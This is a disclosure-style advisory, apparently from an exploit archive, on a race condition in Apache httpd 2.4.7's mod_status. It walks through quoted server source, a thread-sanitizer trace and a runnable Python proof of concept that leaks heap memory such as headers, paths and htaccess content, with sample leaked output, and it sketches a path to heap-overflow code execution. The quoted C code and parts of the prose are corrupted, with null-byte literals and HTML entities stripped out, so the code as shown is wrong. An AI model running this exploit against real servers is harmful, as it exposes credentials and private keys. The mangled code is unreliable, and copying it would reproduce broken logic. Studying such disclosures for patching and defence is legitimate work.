Home / exploits Apache Scoreboard / Status Race Condition
Posted on 22 July 2014
::: ::::::::: ::: :::::::: ::: ::::::::::::: ::: :::::::::::::::::::::::::::::::::: ::::::::: :+: :+: :+: :+: :+: :+: :+: :+::+: :+::+: :+: :+: :+: :+: :+: :+::+: :+: +:+ +:+ +:+ +:++:+ +:+ +:+ +:+ +:++:+ +:+ +:+ +:+ +:+ +:+ +:++:+ +:+ +#++:++#++:+#++:++#++#++:++#++:+#+ +#++:++#+++#++:++# +#++:++#++ +#+ +#+ +#++:++#+ +#+ +:+ +#+ +#++#+ +#+ +#++#+ +#+ +#++#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ #+# #+##+# #+# #+##+# #+##+# #+##+# #+# #+# #+# #+# #+# #+# #+# ### ###### ### ### ######## ### ############# ### ### ### ### ### ######### :::::::: ::: ::::::::::::: :::::::: ::::::: ::: ::: ::::::: :::::::: :::::::: :::::::: :+: :+::+: :+::+: :+: :+::+: :+::+:+: :+: :+: :+::+: :+::+: :+::+: :+: +:+ +:+ +:++:+ +:+ +:+ :+:+ +:+ +:+ +:+ +:+ :+:+ +:+ +:+ +:+ +#+ +#+ +:++#++:++# #++:++ +#+ +#+ + +:+ +#+ +#+ +:+ #++:++ #+ + +:+ +#+ +#+ +#++:++#+ +#+ +#+ +#+ +#+ +#+ +#+# +#+ +#++#+#+#+#+#+ +#+# +#+ +#+ +#+ +#+ +#+ #+# #+# #+#+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# ######## ### ########## ########## ####### ####### ### ####### #################### ######## +:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:+ +#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#+ Hi there, --[ 0. Sparse summary Race condition between updating httpd's "scoreboard" and mod_status, leading to several critical scenarios like heap buffer overflow with user supplied payload and leaking heap which can leak critical memory containing htaccess credentials, ssl certificates private keys and so on. --[ 1. Prerequisites Apache httpd compiled with MPM event or MPM worker. The tested version was 2.4.7 compiled with: ./configure --enable-mods-shared=reallyall --with-included-apr The tested mod_status configuration in httpd.conf was: <Location /foo> SetHandler server-status </Location> ExtendedStatus On --[ 2. Race Condition Function ap_escape_logitem in server/util.c looks as follows: 1908AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char *str) 1909{ 1910 char *ret; 1911 unsigned char *d; 1912 const unsigned char *s; 1913 apr_size_t length, escapes = 0; 1914 1915 if (!str) { 1916 return NULL; 1917 } 1918 1919 /* Compute how many characters need to be escaped */ 1920 s = (const unsigned char *)str; 1921 for (; *s; ++s) { 1922 if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) { 1923 escapes++; 1924 } 1925 } 1926 1927 /* Compute the length of the input string, including NULL */ 1928 length = s - (const unsigned char *)str + 1; 1929 1930 /* Fast path: nothing to escape */ 1931 if (escapes == 0) { 1932 return apr_pmemdup(p, str, length); 1933 } In the for-loop between 1921 and 1925 lines function is computing the length of supplied str (almost like strlen, but additionally it counts special characters which need to be escaped). As comment in 1927 value says, function computes count of bytes to copy. If there's nothing to escape function uses apr_pmemdup to duplicate the str. In our single-threaded mind everything looks good, but tricky part starts when we introduce multi-threading. Apache in MPM mode runs workers as threads, let's consider the following scenario: 1) ap_escape_logitem(pool, "") is called 2) for-loop in 1921 line immediately escapes, because *s is in first loop run 3) malicious thread change memory under *s to another value (something which is not ) 4) apr_pmemdup copies that change value to new string and returns it Output from the ap_escape_logitem is considered to be a string, if scenario above would occur, then returned string would not be zeroed at the end, which may be harmful. The mod_status code looks as follows: 833 ap_rprintf(r, "</td><td>%s</td><td nowrap>%s</td>" 834 "<td nowrap>%s</td></tr> ", 835 ap_escape_html(r->pool, 836 ws_record->client), 837 ap_escape_html(r->pool, 838 ws_record->vhost), 839 ap_escape_html(r->pool, 840 ap_escape_logitem(r->pool, 841 ws_record->request))); The relevant call to ap_escape_html() is at line 839 after the evaluation of ap_escape_logitem(). The first argument passed to the ap_escape_logitem() is in fact an apr pool associated with the HTTP request and defined in the request_rec structure. This code is a part of a larger for-loop where code is iterating over worker_score structs which is defined as follows: 90struct worker_score { 91#if APR_HAS_THREADS 92 apr_os_thread_t tid; 93#endif 94 int thread_num; 95 /* With some MPMs (e.g., worker), a worker_score can represent 96 * a thread in a terminating process which is no longer 97 * represented by the corresponding process_score. These MPMs 98 * should set pid and generation fields in the worker_score. 99 */ 100 pid_t pid; 101 ap_generation_t generation; 102 unsigned char status; 103 unsigned short conn_count; 104 apr_off_t conn_bytes; 105 unsigned long access_count; 106 apr_off_t bytes_served; 107 unsigned long my_access_count; 108 apr_off_t my_bytes_served; 109 apr_time_t start_time; 110 apr_time_t stop_time; 111 apr_time_t last_used; 112#ifdef HAVE_TIMES 113 struct tms times; 114#endif 115 char client[40]; /* Keep 'em small... but large enough to hold an IPv6 address */ 116 char request[64]; /* We just want an idea... */ 117 char vhost[32]; /* What virtual host is being accessed? */ 118}; The 'request' field in a worker_score structure is particularly interesting - this field can be changed inside the copy_request function, which is called by the update_child_status_internal. This change may occur when the mod_status is iterating over the workers at the same time the ap_escape_logitem is called within a different thread, leading to a race condition. We can trigger this exact scenario in order to return a string without a trailing . This can be achived by running two clients, one triggering the mod_status handler and second sending random requests to the web server. Let's consider the following example: 1) the mod_status iterates over workers invoking update_child_status_internal() 2) at some point for one worker mod_status calls ap_escape_logitem(pool, ws_record->request) 3) let's asume that ws_record->request at the beginning is "" literally at the first byte. 4) inside the ap_escape_logitem function the length of the ws_record->request is computed, which is 1 (an empty string consisting of ) 5) another thread modifies ws_record->request (in fact it's called ws->request in update_child_status_internal function but it's exactly the same location in memory) and puts there i.e. "GET / HTTP/1.0" 6) the ap_pmemdup(pool, str, 1) in ap_escape_logitem copies the first one byte from "GET / HTTP/1.0" - "G" in that case and returns it. The ap_pmemdup looks as follows: 112APR_DECLARE(void *) apr_pmemdup(apr_pool_t *a, const void *m, apr_size_t n) 113{ 114 void *res; 115 116 if (m == NULL) 117 return NULL; 118 res = apr_palloc(a, n); 119 memcpy(res, m, n); 120 return res; It allocates memory using apr_palloc function which returns "ditry" memory (note that apr_pcalloc overwrite allocated memory with NULs). So it's non-deterministic what's after the copied "G" byte. There might be or might be not. For now let's assume that the memory allocated by apr_palloc was dirty (containing random bytes). 7) ap_escape_logitem returns "G....." .junk. " " The value from the example above is then pushed to the ap_escape_html2 function which is also declared in util.c: 1860AP_DECLARE(char *) ap_escape_html2(apr_pool_t *p, const char *s, int toasc) 1861{ 1862 int i, j; 1863 char *x; 1864 1865 /* first, count the number of extra characters */ 1866 for (i = 0, j = 0; s[i] != ' '; i++) 1867 if (s[i] == '<' || s[i] == '>') 1868 j += 3; 1869 else if (s[i] == '&') 1870 j += 4; 1871 else if (s[i] == '"') 1872 j += 5; 1873 else if (toasc && !apr_isascii(s[i])) 1874 j += 5; 1875 1876 if (j == 0) 1877 return apr_pstrmemdup(p, s, i); 1878 1879 x = apr_palloc(p, i + j + 1); 1880 for (i = 0, j = 0; s[i] != ' '; i++, j++) 1881 if (s[i] == '<') { 1882 memcpy(&x[j], "<", 4); 1883 j += 3; 1884 } 1885 else if (s[i] == '>') { 1886 memcpy(&x[j], ">", 4); 1887 j += 3; 1888 } 1889 else if (s[i] == '&') { 1890 memcpy(&x[j], "&", 5); 1891 j += 4; 1892 } 1893 else if (s[i] == '"') { 1894 memcpy(&x[j], """, 6); 1895 j += 5; 1896 } 1897 else if (toasc && !apr_isascii(s[i])) { 1898 char *esc = apr_psprintf(p, "&#%3.3d;", (unsigned char)s[i]); 1899 memcpy(&x[j], esc, 6); 1900 j += 5; 1901 } 1902 else 1903 x[j] = s[i]; 1904 1905 x[j] = ' '; 1906 return x; 1907} If the string from the example above would be passed to this function we should get the following code-flow: 1) in the for-loop started in line 1866 we count the length of escaped string 2) because 's' string contains junk (due to only one byte being allocated by the apr_palloc function), it may contain '>' character. Let's assume that this is our case 3) after for-loop in 1866 line 'j' is greater than 0 (at least one s[i] equals '>' as assumed above 4) in the 1879 line memory for escaped 'd' string is allocated 5) for-loop started in line 1880 copies string 's' to the escaped 'd' string BUT apr_palloc has allocated only one byte for 's'. Thus, for each i > 0 the loop reads random memory and copies that value to 'd' string. At this point it's possible to trigger an information leak vulnerability (see section 5). However the 's' string may overlap with 'd' i.e.: 's' is allocated under 0 with contents s = "AAAAAAAA> " 'd' is allocated under 8 then s[8] = d[0]. If that would be the case, then for-loop would run forever (s[i] never would be since it was overwritten in the loop by non-zero). Forever... until it hits an unmapped memory or read only area. Part of the scoreboard.c code which may overwrite the ws_record->request was discovered using a tsan: #1 ap_escape_logitem ??:0 (exe+0x0000000411f2) #2 status_handler /home/akat-1/src/httpd-2.4.7/modules/generators/mod_status.c:839 (mod_status.so+0x0000000044b0) #3 ap_run_handler ??:0 (exe+0x000000084d98) #4 ap_invoke_handler ??:0 (exe+0x00000008606e) #5 ap_process_async_request ??:0 (exe+0x0000000b7ed9) #6 ap_process_http_async_connection http_core.c:0 (exe+0x0000000b143e) #7 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f) #8 ap_run_process_connection ??:0 (exe+0x00000009d156) #9 process_socket event.c:0 (exe+0x0000000cc65e) #10 worker_thread event.c:0 (exe+0x0000000d0945) #11 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57) #12 <null> <null>:0 (libtsan.so.0+0x00000001b279) Previous write of size 1 at 0x7feff2b862b8 by thread T2: #0 update_child_status_internal scoreboard.c:0 (exe+0x00000004d4c6) #1 ap_update_child_status_from_conn ??:0 (exe+0x00000004d693) #2 ap_process_http_async_connection http_core.c:0 (exe+0x0000000b139a) #3 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f) #4 ap_run_process_connection ??:0 (exe+0x00000009d156) #5 process_socket event.c:0 (exe+0x0000000cc65e) #6 worker_thread event.c:0 (exe+0x0000000d0945) #7 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57) #8 <null> <null>:0 (libtsan.so.0+0x00000001b279) --[ 3. Consequences Race condition described in section 2, may lead to: - information leak in case when the string returned by ap_escape_logitem is not at the end, junk after copied bytes may be valuable - overwriting heap with a user supplied value which may imply code execution --[ 4. Exploitation In order to exploit the heap overflow bug it's necessary to get control over: 1) triggering the race-condition bug 2) allocating 's' and 'd' strings in the ap_escape_html2 to overlap 3) part of 's' which doesn't overlap with 'd' (this string is copied over and over again) 4) overwriting the heap in order to get total control over the cpu or at least modify the apache's handler code flow for our benefits --[ 5. Information Disclosure Proof of Concept -- cut #! /usr/bin/env python import httplib import sys import threading import subprocess import random def send_request(method, url): try: c = httplib.HTTPConnection('127.0.0.1', 80) c.request(method,url); if "foo" in url: print c.getresponse().read() c.close() except Exception, e: print e pass def mod_status_thread(): while True: send_request("GET", "/foo?notables") def requests(): evil = ''.join('A' for i in range(random.randint(0, 1024))) while True: send_request(evil, evil) threading.Thread(target=mod_status_thread).start() threading.Thread(target=requests).start() -- cut Below are the information leak samples gathered by running the poc against the testing Apache instance. Leaks include i.e. HTTP headers, htaccess content, httpd.conf content etc. On a live systems with a higher traffic samples should be way more interesting. $ ./poc.py | grep "<i>" |grep -v AAAA | grep -v "{}"| grep -v notables <i>127.0.0.1 {A}</i> <b>[]</b><br /> <i>127.0.0.1 {A.01 cu0 cs0 <i>127.0.0.1 {A27.0.0.1}</i> <b>[]</b><br /> <i>127.0.0.1 {A|0|10 [Dead] u.01 s.01 cu0 cs0 <i>127.0.0.1 {A Û</i> <b>[]</b><br /> <i>127.0.0.1 {A HTTP/1.1}</i> <b>[]</b><br /> <i>127.0.0.1 {Ab><br /> <i>127.0.0.1 {AAA}</i> <b>[127.0.1.1:19666]</b><br /> <i>127.0.0.1 {A0.1.1:19666]</b><br /> <i>127.0.0.1 {A§}</i> <b>[]</b><br /> <i>127.0.0.1 {A cs0 <i>127.0.0.1 {Adentity <i>127.0.0.1 {A HTTP/1.1}</i> <b>[]</b><br /> <i>127.0.0.1 {Ape: text/html; charset=ISO-8859-1 <i>127.0.0.1 {Ahome/IjonTichy/httpd-2.4.7-vanilla/htdocs/}</i> <b>[]</b><br /> <i>127.0.0.1 {Aÿÿÿÿÿÿÿ}</i> <b>[]</b><br /> <i>127.0.0.1 {Aanilla/htdocs/foo}</i> <b>[]</b><br /> <i>127.0.0.1 {A0n/httpd-2.4.7-vanilla/htdocs/foo/}</i> <b>[]</b><br /> <i>127.0.0.1 {A......................................... }</i> <b>[]</b><br /> <i>127.0.0.1 {A-2014 16:23:30 CEST}</i> <b>[]</b><br /> <i>127.0.0.1 {Acontent of htaccess <i>127.0.0.1 {Aver: Apache/2.4.7 (Unix) <i>127.0.0.1 {Aroxy:balancer://mycluster}</i> <b>[]</b><br /> We hope you enjoyed it. Regards, Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466
